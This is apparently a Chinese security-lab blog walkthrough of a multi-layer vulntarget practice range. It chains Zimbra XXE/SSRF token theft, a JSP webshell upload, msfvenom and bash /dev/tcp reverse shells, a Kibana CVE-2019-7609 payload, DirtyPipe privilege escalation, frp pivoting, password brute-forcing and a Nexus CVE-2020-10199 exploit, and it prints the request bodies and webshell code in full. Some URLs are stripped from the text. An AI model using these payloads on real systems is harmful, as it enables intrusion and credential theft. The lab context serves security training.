
星期五实验室
阅读须知
星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。
星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。
01
外网主机
信息搜集
这里我桥接网络是在公司网络中,扫描到的主机比较多,所以跳过了这一步。
arp-scan -l -I eth0 |grep 10.30.1.88来个服务探测+全端口扫描
nmap -sV -p- 10.30.1.88这里扫出来了zimbra,搜索这个服务的相关漏洞:CVE-2016-9924、CVE-2019-9670,都是xxe+ssrf来getshell。使用浏览器访问7071端口,需要加上https
zimbra xxe测试
打开burp抓包,通过xxe来读取目标主机/etc/passwd文件测试是否存在漏洞,数据包如下:
POST /Autodiscover/Autodiscover.xml HTTP/1.1Host: 10.30.1.88:7071User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/ Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/xmlContent-Length: 346Origin: :7071Referer: :7071/zimbraAdmin/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originCache-Control: max-age=0Te: trailersConnection: close<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <Autodiscover xmlns=""><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&xxe;</AcceptableResponseSchema></Request></Autodiscover>读取到了 /etc/passwd 文件代表了存在CVE-2019-9670 XXE漏洞。接着需要构造payload来读取zimbra的配文件localconfig.xml。
xxe读取zimbra用户密码
首先在攻击机上面编写一个test.dtd,内容为:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % all "<!ENTITY fileContents %start;%file;%end;>">接着使用python3开启一个http服务,让靶机来读取这个dtd文件
burp发送POST请求
/Autodiscover/Autodiscover.xml,数据包为:
POST /Autodiscover/Autodiscover.xml HTTP/1.1Host: 10.30.1.88:7071User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/ Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/xmlContent-Length: 405Origin: :7071Referer: :7071/zimbraAdmin/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originCache-Control: max-age=0Te: trailersConnection: close<!DOCTYPE Autodiscover [ <!ENTITY % dtd SYSTEM ":8000/test.dtd"> %dtd; %all; ]><Autodiscover xmlns=""> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema> </Request></Autodiscover>在返回的数据包中查找:ldap_amavis_password,下一行为密码:XbVaoX3Y
利用获取到的密码来获取一个低权限的token
POST请求/service/admin/soap数据包为:
POST /service/admin/soap HTTP/1.1Host: 10.30.1.88:7071User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/ Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/xmlContent-Length: 463Origin: :7071Referer: :7071/zimbraAdmin/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originCache-Control: max-age=0Te: trailersConnection: close<soap:Envelope xmlns:soap=""> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="urn:zimbraAccount"> <account by="adminName">zimbra</account> <password>XbVaoX3Y</password> </AuthRequest> </soap:Body></soap:Envelope>将返回包的ZM_AUTH_TOKEN保存下来:
ZM_AUTH_TOKEN=0_1ec95dc99004e6a87cbdcda1d25506fa2ce0441e_69643d33363adddd323bd31333a30353bd363a7a696dbd393ab
利用SSRF获取高权限token
POST请求/service/admin/soap,请求包中添加刚刚获取的cookie,将请求body中的urn后面修改为zimbraAdmin,发送请求获取到admin的token:
POST /service/admin/soap HTTP/1.1Host: 10.40.0.71:7071User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/ Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/soap+xml; charset=utf-8Content-Length: 461Origin: :7071Referer: :7071/zimbraAdmin/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originCache-Control: max-age=0Te: trailersConnection: closeCookie:ZM_AUTH_TOKEN=0_1ec95dc99004e6a87cbdcda1d25506fa2ce0441e_69643d33363adddd323bd31333a30353bd363a7a696dbd393ab<soap:Envelope xmlns:soap=""> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="urn:zimbraAdmin"><account by="adminName">zimbra</account><password>XbVaoX3Y</password> </AuthRequest> </soap:Body></soap:Envelope>返回包接收到admin的cookie:
ZM_ADMIN_AUTH_TOKEN=0_bf55fe1e121cae05a64d73696b0da4f275_69643d33363adddd323bd31333a38373b61646d696e3d313a313bd363a7a696dbd31303ab
利用高权限token上传文件getshell
exp:
import requestsfile= {filename1:(None,"whocare",None),clientFile:("shell.jsp",r<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>,"text/plain"), requestId:(None,"12",None),} #这里我上传的是一个冰蝎的马headers ={ "Cookie":"ZM_ADMIN_AUTH_TOKEN=0_bf55fe1e121cae05a64d73696b0da4f275_69643d33363adddd323bd31333a38373b61646d696e3d313a313bd363a7a696dbd31303ab", #修改成上面获取到的的admin_token"Host":"foo:7071"}r=requests.post(":7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False) #ip也需要修改 print(r.text)运行脚本
python exp.py使用冰蝎连接:
shell路径为:
密码为:rebeyond,添加cookie请求头
命令执行后看到是一个低权限的shell
提权(失败)
查看系统内核是否可以通过内核来提权。尝试了几个提权发现都没用,放弃内核提权。。。
查找SUID文件,好像也没找到可以用的啊。。。
find / -perm -u=s -type f 2>/dev/null在看一下计划任务,啥都没。。。
cat /etc/crontab试一下CVE-2021-3156 sudo提权,也不行。。
sudoedit -s /再看一下CVE-2021-4034 polkit提权,好吧还是不受影响的版本。。。
这里我放弃提权了,如果有大佬成功提权的欢迎告诉我一下。。。
不知道什么操作(flag权限,logindata权限,mv到/var/log)
一番寻找后,在/tmp目录下找到一个奇怪的目录
该目录下有一个root目录,其中有一个文件:192.168.0.102.login_data
在这里貌似找到了root用户的密码:vulntarget-f
使用ssh去连接
ssh [email protected]成功登录。。
在root根目录下有个flag文件,查看一下,好像就是随便打的一串字符。。
查看网络,发现还有一个内网地址。
查看系统信息
uname -acat /etc/redhat-release02
内网主机
msf上线
上传一个msf马,让主机上线
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.30.7.81 LPORT=3333 -a x86 --platform Linux -f elf > shell.elfpython3 -m http.serverssh连接的主机使用wget来下载
wget :8000/shell.elfchmod +x shell.elf攻击机打开msf控制台,设置监听
msfconsoleuse exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcpset lhost 10.30.7.81 #攻击机的IPset lport 3333 #使用msfvenom生成的端口run回到ssh会话中后台执行elf文件
nohup ./shell.elf &msf成功接收到session
上传一个fscan来扫描一下内网
upload /root/tools/scan/fscan_amd64内网扫描
回到ssh连接的会话中执行fscan,扫描192.168.20.0/24
chmod +x fscan_amd64./fscan_amd64 -h 192.168.20.0/24扫到一个192.168.20.128主机,但是好像这里只扫到一个9200端口,换个参数扫全端口
./fscan_amd64 -h 192.168.20.128 -p 1-65535扫到一个5601端口,看返回信息好像是个kibana
msf内网代理(有点问题)
回到msf的session,设置一个sock代理
run post/multi/manage/autoroute#添加内网的路由bgroute printuse auxiliary/server/socks_proxyrun使用firefox插件来代理流量
访问刚刚扫描到的来个端口:9200、5601
这里的5601端口一直加载不进去,可能是代理的问题,换一个frp试试看。
frp内网代理
使用msf上传一个frpc和frpc.ini
session 1upload /root/proxy/frpcupload /root/proxy/frpc.ini回到ssh会话中修改frpc配置文件
vim frpc.inichmod +x frpc攻击机后台运行frps
nohup ./frps -c frps.ini &回到ssh会话中后台执行frpc
nohup ./frpc -c frpc.ini &firefox插件添加代理再次访问5601端口
搜索这个服务相关漏洞,最终找到一个:CVE-2019-7609。
CVE-2019-7609 kibana代码执行
在导航栏中点击Timelion,在文本框中输入反弹shell的poc然后点击右侧▶按钮。
.es().props(label.__proto__.env.AAAA=require("child_process").exec("bash -c \bash -i>& /dev/tcp/192.168.20.130/8888 0>&1\");process.exit()//).props(label.__proto__.env.NODE_OPTIONS=--require /proc/self/environ) #其中exec括号后面的内容为代码执行在ssh会话中监听8888端口
nc -lvvp 8888然后点击左侧导航栏的Canvas,成功接收到shell
这里是一个低权限的shell
提权
收集一下这台主机的信息
ip auname -alsb_release -a可以看到是双网卡,系统为ubuntu 20.04,内核版本为5.8.0-50。
当看到内核版本为5.8.0-50的时候,直接想到前两天刚刚爆出来的内核提权:CVE-2022-0847-DirtyPipe-Exploit,
exp:
这里我已经编译好了,通过msf来上传到外网主机中
然后在ssh会话中断开nc监听的shell,这里发现之前执行的反弹shell会一直接收到。所以后续不需要再次反弹shell了,只需要执行nc监听8888端口就可以了。
找一下之前上传的jsp木马路径,然后把编译好的提权文件移过去。
find /. -name shell.jspmv exp /opt/zimbra/jetty-distribution-9.1.5.v/webapps/zimbra/downloads直接使用nc监听8888接受shell,wget下载提权文件
nc -lvvp 8888wget --no-check-certificate :7071/downloads/exp好吧,这里没权限,换到主目录看看
访问一下外网的地址,可以看到主目录是zimbraAdmin
将提权文件移到zimbraAdmin目录下
mv mv exp ../../zimbraAdmin/回到nc监听的shell中下载
nc -lvvp 8888wget --no-check-certificate -P /tmp :7071/zimbraAdmin/expcd /tmpchmod +x exp./exp但是发现这台机器压根没有gcc,无法运行提权文件。。。所以需要回到攻击机静态编译一下重新编译后,上传到外网主机中(因为得到了root账号密码,直接用scp传好了)。
gcc -static exploit.c -o exp1scp exp1 [email protected]:/opt/zimbra/jetty-distribution-9.1.5.v/webapps/zimbraAdmin回到nc监听的端口中下载刚刚静态编译的exp1文件,赋权然后执行
wget --no-check-certificate -P /tmp https://192.168.20.130:7071/zimbraAdmin/exp1chmod +x exp1./exp1这里可以看到已经成功获取到root权限查找一下flag,看看有没有内网
find /. -name flagcat /root/flagip a看到一个内网192.168.20.30.0/24网段,flag里面貌似是个提示:admin/top1000.txt。但是现在还不知道内网还有哪些主机和服务,这里上传一个fscan到外网主机中,然后再用这台内网主机来下载fscan扫描内网。
03
二层内网
内网探测
攻击机使用scp上传一个fscan到外网主机中,让内网主机来下载
scp fscan_amd64 [email protected]:/opt/zimbra/jetty-distribution-9.1.5.v/webapps/zimbraAdmin回到外网主机中使用nc监听到的shell来下载
printf("hello world!");nc -lvvp 8888/tmp/exp1wget --no-check-certificate -P /tmp :7071/zimbraAdmin/fscan_amd64运行fscan来扫描192.168.30.0/24这个内网
chmod +x fscan_amd64./fscan_amd64 -h 192.168.30.0/24这里扫描出一台主机:192.168.30.138,开放了8081端口。看200返回的信息好像是一个nexus repository manager,因为这台主机在二层内网中,所以后面操作需要使用之前的frp来搭建一个socks代理。
frp多层代理
将frp服务端和客户端都上传到外网主机中
scp frpc frpc.ini frps frps.ini [email protected]:/opt/zimbra/jetty-distribution-9.1.5.v/webapps/zimbraAdmin外网主机编辑frps.ini文件,后台启一个服务端
vim frps.ininohup ./frps -c frps.ini &杀掉之前frpc的进程,重新修改frpc.ini配置,然后后台运行
ps aux |grep frpckill 13118vim frpc.ininohup ./frpc -c frpc.ini >frpc.log 2>&1 &继续执行nc监听来接受shell,然后下载刚刚上传的frpc做为客户端去连接外网主机开启的服务端
nc -lvvp 8888cd /tmp./exp1wget --no-check-certificate -P /tmp :7071/zimbraAdmin/frpcwget --no-check-certificate -P /tmp :7071/zimbraAdmin/frpc.ini但是这个shell好像没办法编辑。。。所以在外网主机中编辑好了然后重新下载吧
cp frpc.ini frpc.ini.1vim frpc.ini.1回到nc监听的shell中重新下载
nc -lvvp 8888cd tmp./exp1wget --no-check-certificate -P /tmp https://192.168.20.130:7071/zimbraAdmin/frpc.ini.1开启frpc客户端,去连接做为服务端的外网主机
cd /tmpchmod +x frpcnohup ./frpc -c frpc.ini.1 >frpc.log 2>&1 &nexus resository mananger
使用代理访问192.168.30.138:8081
在左上角这里看到了版本号:3.21.0-05,搜索该服务找到相关漏洞:CVE-2020-10199(Nexus <= 3.21.1 远程代码执行)。但是利用这个漏洞需要账号密码,根据一层内网主机中的提示:admin/top1000.txt。可能账号是admin,密码是top1000中的其中一个?所以这里需要使用burp来爆破一下密码。
burp设置代理爆破
因为之前用的是kali自带的burp,爆破的话线程不能调,所以这里我切换到了破解版的。
修改一下burp的几处设置,不然抓不到内网的包。
设置完成后打开浏览器的插件使用burp的代理就可以抓到内网的数据包了。
点击页面中的Sign in登录按钮输入用户名和密码,然后把抓到的包发送到爆破模块中来爆破密码字段。
这里发现用户名和密码好像base64编码了。
加载top1000的字典,然后设置payload设置为base64编码,再把线程改大一点。
点击开始爆破,速度好像有点慢,耐心等待一会吧。
经过漫长的等待,终于爆破出密码了。
解码后明文:abcdef
CVE-2020-10199 Nexus远程代码执行
使用爆破出的密码成功登录页面
使用socks代理来运行攻击脚本,这里我使用的是这个:https://github.com/zhzyker/CVE-2020-10199_POC-EXP
proxychains4 python cve-2020-10199_cmd.py :8081 admin abcdef成功获取到权限,并且是root的权限了。
flag一开始没找到,后来加了个通配符才找到最终flag。。。。
FRIDAY LAB
星期五实验室成立于2017年,汇集众多技术研究人员,在工业互联网安全前瞻技术研究方向上不断进取。星期五实验室由海内外知名高校的学院精英及来自于顶尖企业的行业专家组成,且大部分人员来自国际领先、国内知名的黑客战队——浙大AAA战队。作为木链科技专业的技术研发团队,星期五实验室凭借精湛的专业技术水平,为产品研发提供新思路、为行业技术革新探索新方向。
扫二维码|关注我们
星期五实验室FRIDAY LAB